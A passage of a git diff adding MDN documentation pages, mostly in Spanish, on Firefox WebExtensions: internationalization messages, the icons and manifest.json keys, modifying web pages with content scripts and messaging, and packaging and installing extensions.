+    <p>The extension's internally-generated UUID. You might use this string to construct URLs for resources inside the extension. Even unlocalized extensions can use this message.</p>
+
+    <p>You can't use this message in a manifest file.</p>
+
+    <p>Also note that this ID is <em>not</em> the add-on ID returned by {{WebExtAPIRef("runtime.id")}}, and that can be set using the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications">applications</a> key in manifest.json. It's the generated UUID that appears in the add-on's URL. This means that you can't use this value as the <code>extensionId</code> parameter to {{WebExtAPIRef("runtime.sendMessage()")}}, and can't use it to check against the <code>id</code> property of a {{WebExtAPIRef("runtime.MessageSender")}} object.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>@@ui_locale</code></td>
+   <td>The current locale; you might use this string to construct locale-specific URLs.</td>
+  </tr>
+  <tr>
+   <td><code>@@bidi_dir</code></td>
+   <td>The text direction for the current locale, either "ltr" for left-to-right languages such as English or "rtl" for right-to-left languages such as Arabic.</td>
+  </tr>
+  <tr>
+   <td><code>@@bidi_reversed_dir</code></td>
+   <td>If the <code>@@bidi_dir</code> is "ltr", then this is "rtl"; otherwise, it's "ltr".</td>
+  </tr>
+  <tr>
+   <td><code>@@bidi_start_edge</code></td>
+   <td>If the <code>@@bidi_dir</code> is "ltr", then this is "left"; otherwise, it's "right".</td>
+  </tr>
+  <tr>
+   <td><code>@@bidi_end_edge</code></td>
+   <td>If the <code>@@bidi_dir</code> is "ltr", then this is "right"; otherwise, it's "left".</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Going back to our earlier example, it would make more sense to write it like this:</p>
+
+<pre class="brush: css notranslate">header {
+  background-image: url(../images/__MSG_@@ui_locale__/header.png);
+}</pre>
+
+<p>Now we can just store our local specific images in directories that match the different locales we are supporting — en, de, etc. — which makes a lot more sense.</p>
+
+<p>Let's look at an example of using <code>@@bidi_*</code> messages in a CSS file:</p>
+
+<pre class="brush: css notranslate">body {
+  direction: __MSG_@@bidi_dir__;
+}
+
+div#header {
+  margin-bottom: 1.05em;
+  overflow: hidden;
+  padding-bottom: 1.5em;
+  padding-__MSG_@@bidi_start_edge__: 0;
+  padding-__MSG_@@bidi_end_edge__: 1.5em;
+  position: relative;
+}</pre>
+
+<p>For left-to-right languages such as English, the CSS declarations involving the predefined messages above would translate to the following final code lines:</p>
+
+<pre class="brush: css notranslate">direction: ltr;
+padding-left: 0;
+padding-right: 1.5em;
+</pre>
+
+<p>For a right-to-left language like Arabic, you'd get:</p>
+
+<pre class="brush: css notranslate">direction: rtl;
+padding-right: 0;
+padding-left: 1.5em;</pre>
+
+<h2 id="Testing_out_your_extension">Testing out your extension</h2>
+
+<p>Starting in Firefox 45, you can install extensions temporarily from disk — see <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Packaging_and_installation#Loading_from_disk">Loading from disk</a>. Do this, and then try testing out our <a href="https://github.com/mdn/webextensions-examples/tree/master/notify-link-clicks-i18n">notify-link-clicks-i18n</a> extension. Go to one of your favourite websites and click a link to see if a notification appears reporting the URL of the clicked link.</p>
+
+<p>Next, change Firefox's locale to one supported in the extension that you want to test.</p>
+
+<ol>
+ <li>Open "about:config" in Firefox, and search for the <code>intl.locale.requested</code> preference (bear in mind that before Firefox 59, this pref is called <code>general.useragent.locale</code>).</li>
+ <li>If the preference exists, double-click it (or press Return/Enter) to select it, enter the language code for the locale you want to test, then click "OK" (or press Return/Enter). For example in our example extension, "en" (English), "de" (German), "nl" (Dutch), and "ja" (Japanese) are supported. You can also set the value to an empty string (<code>""</code>), which will cause the browser to use the OS default locale.</li>
+ <li>If the <code>intl.locale.requested</code> preference does not exist, right-click the list of preferences (or activate the context menu using the keyboard), and choose "New" followed by "String". Enter <code>intl.locale.requested</code> for the preference name and, "de", or "nl", etc. for the preference value, as described in step 2 above.</li>
+ <li>Search for <code>intl.locale.matchOS</code> and, if the preference exists and has the value <code>true</code>, double-click it  so that it is set to <code>false</code>.</li>
+ <li>Restart your browser to complete the change.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: This works to change the browser's locale, even if you haven't got the <a href="https://addons.mozilla.org/en-US/firefox/language-tools/">language pack</a> installed for that language. You'll just get the browser UI in your default language if this is the case.</p>
+</div>
+
+<ol>
+</ol>
+
+<div class="note">
+<p><strong>Note:</strong> To change the result of <code>getUILanguage</code> the language pack is required, since it reflects the browser UI language and not the language used for extension messages.</p>
+</div>
+
+<p>Load the extension temporarily from disk again, then test your new locale:</p>
+
+<ul>
+ <li>Visit "about:addons" again — you should now see the extension listed, with its icon, plus name and description in the chosen language.</li>
+ <li>Test your extension again. In our example, you'd go to another website and click a link, to see if the notification now appears in the chosen language.</li>
+</ul>
+
+<p>{{EmbedYouTube("R7--fp5pPGg")}}</p>
diff --git a/files/es/mozilla/add-ons/webextensions/manifest.json/icons/index.html b/files/es/mozilla/add-ons/webextensions/manifest.json/icons/index.html
new file mode 100644
index 0000000000..0f8550f027
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/manifest.json/icons/index.html
@@ -0,0 +1,74 @@
+---
+title: icons
+slug: Mozilla/Add-ons/WebExtensions/manifest.json/icons
+translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/icons
+---
+<div>{{AddonSidebar}}</div>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th scope="row" style="width: 30%;">Tipo</th>
+   <td><code>Object</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Obligatorio</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Ejemplo</th>
+   <td>
+    <pre class="brush: json no-line-numbers">
+"icons": {
+  "48": "icon.png",
+  "96": "icon@2x.png"
+}</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La propiedad <code>icons</code> especifica los iconos de tu extensión. Esos iconos se usarán para representar la extensión en componentes como el Administrador de complementos.</p>
+
+<p>Consiste en pares clave-valor del tamaño de la imagen en px y la ruta de la imagen relativa al directorio raíz de la extensión.</p>
+
+<p>Si <code>icons</code> no esta definido, se utilizará un icono de extensión estándar por defecto.</p>
+
+<p>Debería suministrar al menos un icono de extensión principal, idealmente de 48x48 px de tamaño. Este es el icono por defecto que se utilizará en el Administrador de complementos. Sin embargo, puedes suministrar iconos de cualquier tamaño y Firefox intentará encontrar el mejor icono para mostrar en los diferentes componentes.</p>
+
+<p>Firefox tendrá en cuenta la resolución de la pantalla al elegir un icono. Para ofrecer la mejor experiencia visual a los usuarios con pantallas de alta resolución, como las pantallas Retina, proporciona versiones de doble tamaño de todos sus iconos.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Las propiedades del objeto <code>icons</code> especifican el tamaño del icono en px, los valores especifican la ruta relativa del icono. Este ejemplo contiene un icono de extensión de 48px y una versión más grande para pantallas de alta resolución.</p>
+
+<pre class="brush: json no-line-numbers">"icons": {
+  "48": "icon.png",
+  "96": "icon@2x.png"
+}</pre>
+
+<h2 id="SVG">SVG</h2>
+
+<p>Puede usar SVG y el navegador escalará su icono adecuadamente. Sin embargo, hay dos advertencias:</p>
+
+<ol>
+ <li>Necesitas especificar un viewBox en la imagen. E.g.:
+  <pre class="brush: html">&lt;svg viewBox="0 0 48 48" width="48" height="48" ...</pre>
+ </li>
+ <li>Aunque puedes usar un archivo, todavía necesitas especificar varios tamaños del icono en tu manifiesto. E.g.:
+  <pre class="brush: json">"icons": {
+  "48": "icon.svg",
+  "96": "icon.svg"
+}</pre>
+ </li>
+</ol>
+
+<div class="note">
+<p>Si está usando un programa como Inkscape para crear SVG, puede que quiera guardarlo como un "SVG simple". Firefox podría confundirse con varios espacios de nombres especiales y no mostrar su icono.</p>
+</div>
+
+<h2 id="Compatibilidad">Compatibilidad</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("webextensions.manifest.icons")}}</p>
diff --git a/files/es/mozilla/add-ons/webextensions/manifest.json/index.html b/files/es/mozilla/add-ons/webextensions/manifest.json/index.html
new file mode 100644
index 0000000000..f85e30b4cf
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/manifest.json/index.html
@@ -0,0 +1,51 @@
+---
+title: manifest.json
+slug: Mozilla/Add-ons/WebExtensions/manifest.json
+translation_of: Mozilla/Add-ons/WebExtensions/manifest.json
+---
+<p>{{AddonSidebar}}</p>
+
+<div class="blockIndicator note">
+<p>Este artículo describe manifest.json para extensiones web. Si estás buscando información acerca de manifest.json en PWAs, revisa el artículo sobre <a href="/en-US/docs/Web/Manifest">Web App Manifest</a>.</p>
+</div>
+
+<p>El archivo <code>manifest.json</code> es el único archivo que toda extensión usando la API WebExtension debe contener necesariamente.</p>
+
+<p>Usando <code>manifest.json</code>, puedes especificar los metadatos básicos de tu extensión como nombre y versión, así como aspectos funcionales de tu extensión (tales como scripts en segundo plano, scripts de contenido y acciones del navegador).</p>
+
+<p>Es un archivo con formato <a href="/en-US/docs/Glossary/JSON">JSON</a>, con una excepción: permite comentarios con "<code>//</code>".</p>
+
+
+<h2 id="Lista_de_claves_de_manifest.json">Lista de claves de <code>manifest.json</code></h2>
+
+<p>Las claves de manifest.json son:</p>
+
+<div class="index">{{ListSubpages("/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json")}}</div>
+
+
+<h3 class="index" id="Notas_acerca_de_las_claves_de_manifest.json">Notas acerca de las claves de manifest.json</h3>
+
+<ul>
+ <li><code>"manifest_version"</code>, <code>"version"</code>, and <code>"name"</code> son las únicas llaves obligatorias.</li>
+ <li><code>"default_locale"</code> Debe estar presente <strong>solo</strong> si la carpeta "<code>_locales</code>" existe.</li>
+ <li><code>"browser_specific_settings"</code> no tiene soporte en Google Chrome.</li>
+</ul>
+
+<h3 id="Acceder_a_las_claves_de_manifest.json_en_tiempo_de_ejecución">Acceder a las claves de  manifest.json en tiempo de ejecución</h3>
+
+<p>Puedes acceder a el manifest desde el código JavaScript de tu extensión utilizando la función {{WebExtAPIRef("runtime.getManifest()")}}:</p>
+
+<pre class="brush: js; no-line-numbers notranslate">browser.runtime.getManifest().version;</pre>
+
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<p>Para un resumen extendido de las llaves y sub-llaves ver la <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_compatibility_for_manifest.json"> tabla completa de compatibilidad de <code>manifest.json</code> en navegadores</a>.</p>
+
+<div class="hidden">La tabla de compatibilidad está generada desde datos estructurados. Si quieres colaborar visita <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y solicita un <em>pull request</em>.</div>
+
+<p>{{Compat("webextensions.manifest")}}</p>
+
+<h2 id="Ver_También">Ver También</h2>
+
+<p>API JavaScript de {{WebExtAPIRef("permissions")}}</p>
diff --git a/files/es/mozilla/add-ons/webextensions/modify_a_web_page/index.html b/files/es/mozilla/add-ons/webextensions/modify_a_web_page/index.html
new file mode 100644
index 0000000000..eb7493b62b
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/modify_a_web_page/index.html
@@ -0,0 +1,253 @@
+---
+title: Modify a web page
+slug: Mozilla/Add-ons/WebExtensions/Modify_a_web_page
+translation_of: Mozilla/Add-ons/WebExtensions/Modify_a_web_page
+---
+<div>{{AddonSidebar}}</div>
+
+<div>Uno de los usos más comunes para las extensiones es modificar páginas web.  Por ejemplo, una extension puede querer cambiar el estilo de la página, esconder determinados nodos DOM o incluir otros nuevos.</div>
+
+<div> </div>
+
+<div>Existen dos maneras de hacer esto con extensiones Web y APIs:</div>
+
+<div> </div>
+
+<ul>
+ <li><strong>Declarativamente</strong>: Define un patrón que encaja con un conjunto de URLs y carga un conjunto de scripts a las páginas cuyos URL encajen con ese patrón.</li>
+ <li><strong>Programaticamente</strong>: Usando una Javascript API, carga una script en la página alojada en una lengüeta específica.</li>
+</ul>
+
+<p>De ambas formas, estos scripts se llaman scripts de contenido y son distintos del resto de scripts que constituyen una extensión. </p>
+
+<ul>
+ <li>Solamente tienen acceso a un grupo pequeño de extensiones web y APIs.</li>
+ <li>Obtienen acceso directo a la página web en la que han sido cargadas.</li>
+ <li>Se comunican con el resto de la extensión usando una API de mensajería.</li>
+</ul>
+
+<p>En este artículo hablaremos de los dos métodos para cargar una script..</p>
+
+<h2 id="Modificando_páginas_que_encajen_con_un_patrón_URL">Modificando páginas que encajen con un patrón URL</h2>
+
+<p>Para empezar, crea un nuevo directorio llamado "modify-page". En este directorio, crea un archivo llamado "manifest.json", con el siguiente contenido:</p>
+
+<pre class="brush: json">{
+
+  "manifest_version": 2,
+  "name": "modify-page",
+  "version": "1.0",
+
+  "content_scripts": [
+    {
+      "matches": ["https://developer.mozilla.org/*"],
+      "js": ["page-eater.js"]
+    }
+  ]
+
+}</pre>
+
+<p>La llave <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts">content_scripts</a></code> es el método de carga de scripts a páginas cuya URL encaje con los patrones. En este caso, <code>content_scripts</code> le dice al navegador que cargue una script llamada "page-eater.js" en todas las páginas con <a href="https://developer.mozilla.org/">https://developer.mozilla.org/</a>.</p>
+
+<div class="note">
+<p>Debido a que el atributo <code>"js"</code> de <code>content_scripts</code> es una array, puedes usarla para inyectar más de una script a las páginas que encajen con el patrón. Si haces esto las páginas compartiran el mismo campo de aplicación, igual que múltiples scripts cargadas por una página, y son cargadas en el mismo orden en las que están dispuestas en la array.</p>
+</div>
+
+<div class="note">
+<p>La llave <code>content_scripts</code> tambien tiene un atributo de <code>"css"</code> que puedes usar para inyectar código CSS. </p>
+</div>
+
+<p>Después, crea un archivo llamado "page-eater.js" dentro del directorio "modify-page" e introduce el contenido de a continuación:</p>
+
+<pre class="brush: js">document.body.textContent = "";
+
+var header = document.createElement('h1');
+header.textContent = "This page has been eaten";
+document.body.appendChild(header);</pre>
+
+<p> Ahora, <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">instala la extensión</a> y visita <a href="https://developer.mozilla.org/">https://developer.mozilla.org/</a>:</p>
+
+<p>{{EmbedYouTube("lxf2Tkg6U1M")}}</p>
+
+<div class="note">
+<p>Ten en cuenta que aunque este video muestra el contenido de la script operando en <a href="https://addons.mozilla.org/en-US/firefox/">addons.mozilla.org</a>, las scripts de contenido están bloqueadas en esta página por el momento.</p>
+</div>
+
+<h2 id="Modificando_las_páginas_programaticamente">Modificando las páginas programaticamente</h2>
+
+<p>Y si quieres comer páginas, pero solo cuando el usuario te lo pida?  Actualicemos este ejemplo para que podamos enyectar el contenido de la script cuando el usuario haga click en un item del menu de contexto.</p>
+
+<p>Primero actualiza "manifest.json" para que incluya el contenido a continuación:</p>
+
+<pre class="brush: json">{
+
+  "manifest_version": 2,
+  "name": "modify-page",
+  "version": "1.0",
+
+  "permissions": [
+    "activeTab",
+    "contextMenus"
+  ],
+
+  "background": {
+    "scripts": ["background.js"]
+  }
+
+}</pre>
+
+<p>Aquí, hemos eliminado la llave <code>content_scripts</code>  y hemos añadido dos nuevas llaves:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissions</a></code>: Para inyectar scripts a las páginas necesitamos los permisos para la página que estamos modificando. El permiso <a href="/en-US/Add-ons/WebExtensions/manifest.json/permissions#activeTab_permission"><code>activeTab</code> </a>es una manera de obtener el permiso temporalmente para la lengüeta que esté actualmente abierta. También necesitamos el permiso <code>contextMenus</code> para poder añadir items al menu de contexto.</li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/background">background</a></code>: Usamos esto para cargar un <a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts">"background script"</a> persistente llamado "background.js", en el cual montamos el menu de contexto e inyectamos el script de contenido.</li>
+</ul>
+
+<p>Ahora generaremos este archivo. Crea un archivo llamado "background.js" en el directorio "modify-page" e introduce el siguiente contenido: </p>
+
+<pre class="brush: js">browser.contextMenus.create({
+  id: "eat-page",
+  title: "Eat this page"
+});
+
+browser.contextMenus.onClicked.addListener(function(info, tab) {
+  if (info.menuItemId == "eat-page") {
+    browser.tabs.executeScript({
+      file: "page-eater.js"
+    });
+  }
+});
+</pre>
+
+<p>En esta script estamos creando un <a href="/en-US/Add-ons/WebExtensions/API/ContextMenus/create">item del menu de contexto</a>  y dándole una ID y un título específico (el texto que se estará expuesto en el menu de contexto). Después configuramos un evento de escucha para que cuando el usuario haga click en uno de los items del menu podamos comprobar si se trata de nuestro item <code>eat-page</code> . En caso afirmativo, inyectaremos "page-eater.js" a la lengüeta actual usando la API <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript">tabs.executeScript()</a></code>. Alternativamente, esta API puede tomar como argumento una ID. En este caso la hemos omitido lo cual quiere decir que la script es inyectada en la lengüeta que está actualmente abierta.</p>
+
+<p>Ahora mismo la extensión debería ser algo como esto:</p>
+
+<pre class="line-numbers  language-html"><code class="language-html">modify-page/
+    background.js
+    manifest.json
+    page-eater.js</code></pre>
+
+<p>Ahora <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Temporary_Installation_in_Firefox#Reloading_a_temporary_add-on">recarga la extensión</a>, abre la página (cualquier página en esta ocasión), activa el menu de contexto y selecciona "Eat this page" (Comer esta página):</p>
+
+<p>{{EmbedYouTube("zX4Bcv8VctA")}}</p>
+
+<div class="note">
+<p>Ten en cuenta que aunque este video muestra el contenido de la script operando en <a href="https://addons.mozilla.org/en-US/firefox/">addons.mozilla.org</a>, las scripts de contenido están bloqueadas en esta página por el momento.</p>
+</div>
+
+<h2 id="Mensajería">Mensajería</h2>
+
+<p>Scripts de contenido y scripts de fondo no pueden acceder directamente al estado del otro. Sin embargo, pueden comunicarse mediante el uso de mensajes. Una terminal configura un escuchador de mensajes y la otra terminal puede mandarle un mensaje. La siguente tabla resume las APIs involucradas en cada parte:</p>
+
+<table class=" fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="row"> </th>
+   <th scope="col">En el script de contenido</th>
+   <th scope="col">En el script de fondo</th>
+  </tr>
+  <tr>
+   <th scope="row">Mandar un mensaje</th>
+   <td><code><a href="/en-US/Add-ons/WebExtensions/API/runtime#sendMessage()">browser.runtime.sendMessage()</a></code></td>
+   <td><code><a href="/en-US/Add-ons/WebExtensions/API/Tabs/sendMessage">browser.tabs.sendMessage()</a></code></td>
+  </tr>
+  <tr>
+   <th scope="row">Recibir un mensaje</th>
+   <td><code><a href="/en-US/Add-ons/WebExtensions/API/runtime/onMessage">browser.runtime.onMessage</a></code></td>
+   <td><code><a href="/en-US/Add-ons/WebExtensions/API/runtime#onMessage">browser.runtime.onMessage</a></code></td>
+  </tr>
+ </thead>
+</table>
+
+<p>Actualicemos nuestro ejemplo para ilustrar como mandar un mensaje desde una script de fondo.</p>
+
+<p>Primero, hemos de editar "background.js" para que tenga el siguiente contenido:</p>
+
+<pre class="brush: js">browser.contextMenus.create({
+  id: "eat-page",
+  title: "Eat this page"
+});
+
+function messageTab(tabs) {
+  browser.tabs.sendMessage(tabs[0].id, {
+    replacement: "Message from the extension!"
+  });
+}
+
+function onExecuted(result) {
+    var querying = browser.tabs.query({
+        active: true,
+        currentWindow: true
+    });
+    querying.then(messageTab);
+}
+
+browser.contextMenus.onClicked.addListener(function(info, tab) {
+  if (info.menuItemId == "eat-page") {
+    let executing = browser.tabs.executeScript({
+      file: "page-eater.js"
+    });
+    executing.then(onExecuted);
+  }
+});
+</pre>
+
+<p>Ahora, después de inyectar "page-eater.js", hemos de usar <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query">tabs.query()</a></code>  para obtener la lengüeta actualmente activa y entonces usar <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/sendMessage">tabs.sendMessage()</a></code> para mandar un mensaje a las scripts de contenido cargadas en la lengüeta. El mensaje tiene el contenido <code>{replacement: "Message from the extension!"}</code>.</p>
+
+<p>Después, actualiza "page-eater.js" de esta forma:</p>
+
+<pre class="brush: js">function eatPageReceiver(request, sender, sendResponse) {
+  document.body.textContent = "";
+  var header = document.createElement('h1');
+  header.textContent = request.replacement;
+  document.body.appendChild(header);
+}
+browser.runtime.onMessage.addListener(eatPageReceiver);
+</pre>
+
+<p>Ahora, en vez de simplemente comer la página, el contenido espera a un mensaje usando <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage">runtime.onMessage</a></code>.  Cuando el mensaje llega, el script de contenido ejecuta el mismo código de antes, exceptuando que el  texto de reemplazo se obtenido de <code>request.replacement</code>.</p>
+
+<p>Debido a que <code><a href="/en-US/Add-ons/WebExtensions/API/tabs/executeScript">tabs.executeScript()</a></code> es una función asincrónica y para asegurarnos de que mandamos el mensaje solo cuando el escuchador ha sido añadido en "page-eater.js", usamos <code>onExecuted</code> que sera llamado después de que "page-eater.js" se ejecute.</p>
+
+<div class="note">
+<p>Pulsa Ctrl+Shift+J (o Cmd+Shift+J en el Mac)  o <code>web-ext run --bc</code> para abrir la consola de navegación para ver <code>console.log</code> en la script de fondo. Alternativamente puedes usar el <a href="/en-US/Add-ons/Add-on_Debugger">Add-on Debugger</a>, el cual te permite poner un breakpoint.  De momento no hay forma de iniciar un <a href="https://github.com/mozilla/web-ext/issues/759">Add-on Debugger directamente de una extensión web</a>.</p>
+</div>
+
+<p>Si queremos enviar mensajes directamente desde el contenido script de vuelta a la página de fondo, podríamos usar<code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage">runtime.sendMessage()</a></code> en vez de  <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/sendMessage">tabs.sendMessage()</a></code>. Por ejemplo:</p>
+
+<pre class="brush: js">browser.runtime.sendMessage({
+    title: "from page-eater.js"
+});</pre>
+
+<div class="note">
+<p>Todos estos ejemplos inyectan Javascript; también puedes inyectar CSS programaticamente usando la función<code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/insertCSS">tabs.insertCSS()</a></code>.</p>
+</div>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<ul>
+ <li>La guía de <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">scripts de contenido</a></li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/content_scripts">content_scripts</a></code> llave de manifiesto</li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permissions</a></code> llave de manifiesto</li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript">tabs.executeScript()</a></code></li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/insertCSS">tabs.insertCSS()</a></code></li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/sendMessage">tabs.sendMessage()</a></code></li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage">runtime.sendMessage()</a></code></li>
+ <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage">runtime.onMessage</a></code></li>
+ <li>Ejemplos con<code>content_scripts</code>:
+  <ul>
+   <li><a href="https://github.com/mdn/webextensions-examples/tree/master/borderify">borderify</a></li>
+   <li><a href="https://github.com/mdn/webextensions-examples/tree/master/notify-link-clicks-i18n">notify-link-clicks-i18n</a></li>
+   <li><a href="https://github.com/mdn/webextensions-examples/tree/master/page-to-extension-messaging">page-to-extension-messaging</a></li>
+  </ul>
+ </li>
+ <li>Ejemplos con<code>tabs.executeScript()</code>:
+  <ul>
+   <li><a class="external external-icon" href="https://github.com/mdn/webextensions-examples/tree/master/beastify">beastify</a></li>
+   <li><a class="external external-icon" href="https://github.com/mdn/webextensions-examples/tree/master/context-menu-demo">context-menu-demo</a></li>
+  </ul>
+ </li>
+</ul>
+
+<p> </p>
diff --git a/files/es/mozilla/add-ons/webextensions/packaging_and_installation/index.html b/files/es/mozilla/add-ons/webextensions/packaging_and_installation/index.html
new file mode 100644
index 0000000000..e032fc354b
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/packaging_and_installation/index.html
@@ -0,0 +1,90 @@
+---
+title: Empaquetado e Instalación
+slug: Mozilla/Add-ons/WebExtensions/Packaging_and_installation
+translation_of: Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox
+---
+<h2 id="Empaquetando_tu_extensión">Empaquetando tu extensión</h2>
+
+<div class="note">
+<p>Mozilla actualmente esta considerando implementar una aplicación con interfaz visual para empaquetar y cargar extensiones. Mira el <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1185460">Bug 1185460</a> para más información. Hasta entonces, sigue los pasos que aparecen a continuación.</p>
+</div>
+
+<p>Las extensiones para Firefox son empaquetadas como archivos XPI, los cuales son solamente archivos ZIP, con extensión "xpi".</p>
+
+<p>Un truco es que el archivo ZIP debe ser un archivo que contenga los archivos de la extensión y no la carpeta que los contiene.</p>
+
+<h3 id="Windows">Windows</h3>
+
+<ol>
+ <li>Abre la carpeta que contiene los archivos de tu extensión.</li>
+ <li>Selecciona todos los archivos.</li>
+ <li>Con clic derecho elige Enviar a  → Carpeta comprimida (zip).</li>
+ <li>Cambia el nombre del archivo resultante de <code>something.zip</code> a <code>something.xpi</code>.</li>
+</ol>
+
+<p><img alt="Screenshot of the Windows Explorer context menu showing Send to compressed (zipped) folder" src="https://mdn.mozillademos.org/files/11717/pUF1vnr.png" style="height: 641px; width: 904px;"></p>
+
+<h3 id="Mac_OS_X">Mac OS X</h3>
+
+<ol>
+ <li>Abre la carpeta que contiene los archivos de tu extensión.</li>
+ <li>Selecciona todos los archivos.</li>
+ <li>Con clic derecho elige Comprimir <em>n</em> elementos.</li>
+ <li>Cambia el nombre del archivo resultante de <code>something.zip</code> a <code>something.xpi</code>.</li>
+</ol>
+
+<p><img alt="Screenshot of the Finder context menu showing the Compress 15 Items option" src="https://mdn.mozillademos.org/files/11715/Screen%20Shot%202015-10-08%20at%2016.19.02.png" style="height: 460px; width: 850px;"></p>
+
+<h3 id="Linux_Mac_OS_X_Terminal">Linux / Mac OS X Terminal</h3>
+
+<ol>
+ <li><code>cd path/to/my-extension/</code></li>
+ <li><code>zip -r ../my-extension.xpi *</code></li>
+</ol>
+
+<h2 id="Instalando_tu_extensión">Instalando tu extensión</h2>
+
+<ol>
+ <li>Navega a <code>about:addons</code></li>
+ <li>Arrastra y suelta el XPI dentro de la página, o abre el menú de opciones y escoge "Instalar complemento desde archivo..."</li>
+ <li>Da clic en "Instalar" en el diálogo que aparecerá</li>
+</ol>
+
+<h2 id="Instalando_tu_extensión_en_Firefox_OS">Instalando tu extensión en Firefox OS</h2>
+
+<p>Tu puedes instalar tu extensión desde WebIDE en un escritorio conectado vía USB o Wifi. Abre <code>path/to/my-extension/ como una Aplicación empaquetada en WebIDE.</code></p>
+
+<p><code>Cuando la validación de manifest.json es correcta podrás instalar y ejecutar tu extensión en el dispositivo con Firefox OS conectado.</code></p>
+
+<p><code>Para instalar extensiones debe tener habilitada la opción en Configuración-&gt;Complementos del dispositivo con Firefox OS.</code></p>
+
+<h2 id="Resolución_de_problemas">Resolución de problemas</h2>
+
+<p>Aquí están algunos de los problemas más comunes que podrías encontrarte:</p>
+
+<h3 id="Este_complemento_no_puede_ser_instalado_porque_no_ha_sido_verificado.">"Este complemento no puede ser instalado porque no ha sido verificado."</h3>
+
+<ul>
+ <li>Asegúrate que estás usando <a href="https://nightly.mozilla.org/">Nightly</a> y la preferencia <code>xpinstall.signatures.required</code> está en <code>false</code> en <code>about:config</code>.</li>
+ <li>Aprende más acerca de <a href="/en-US/docs/Mozilla/Add-ons/Distribution">la firma de complementos y su distribución</a>.</li>
+</ul>
+
+<h3 id="Este_complemento_no_puede_ser_instalado_porque_para_estar_corrupto.">"Este complemento no puede ser instalado porque para estar corrupto."</h3>
+
+<ul>
+ <li>Asegúrate que has comprimido los archivos directamente, <em>no la carpeta que contiene</em> los archivos de tu extensión. Tu archivo manifest.json debe estar en la carpeta raíz del archivo ZIP.</li>
+ <li>Asegúrate que estás usando la versión <a href="https://nightly.mozilla.org/">Nightly</a> de Firefox.</li>
+</ul>
+
+<h3 id="No_pasa_nada">No pasa nada</h3>
+
+<ul>
+ <li>Asegúrate que tu archivo actualmente termina en <code>.xpi</code>, existen algunos <em>sistemas operativos que le gusta ocultar</em> las extensiones de los archivos.
+
+  <ul>
+   <li>En Windows, comprueba con Vista → Mostrar / Ocultar: Extensiones de los archivos.</li>
+   <li>En Mac OS X, comprueba con Archivo → Obtener información → Nombre y Extensión.</li>
+  </ul>
+ </li>
+ <li>Es posible que te hayas perdido u ocultado el diálogo de instalación. Mira si un icono parecido a una pieza de rompecabezas está al lado del botón Atrás en Nightly. Has clic sobre él para trae nuevamente el diálogo de instalación.</li>
+</ul>
diff --git a/files/es/mozilla/add-ons/webextensions/porting_from_google_chrome/index.html b/files/es/mozilla/add-ons/webextensions/porting_from_google_chrome/index.html
new file mode 100644
index 0000000000..58959678f4
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/porting_from_google_chrome/index.html
@@ -0,0 +1,22 @@
+---
+title: Conversión de extensiones de Google Chrome
+slug: Mozilla/Add-ons/WebExtensions/Porting_from_Google_Chrome
+tags:
+  - WebExtensions
+translation_of: Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension
+---
+<div>{{AddonSidebar}}</div>
+
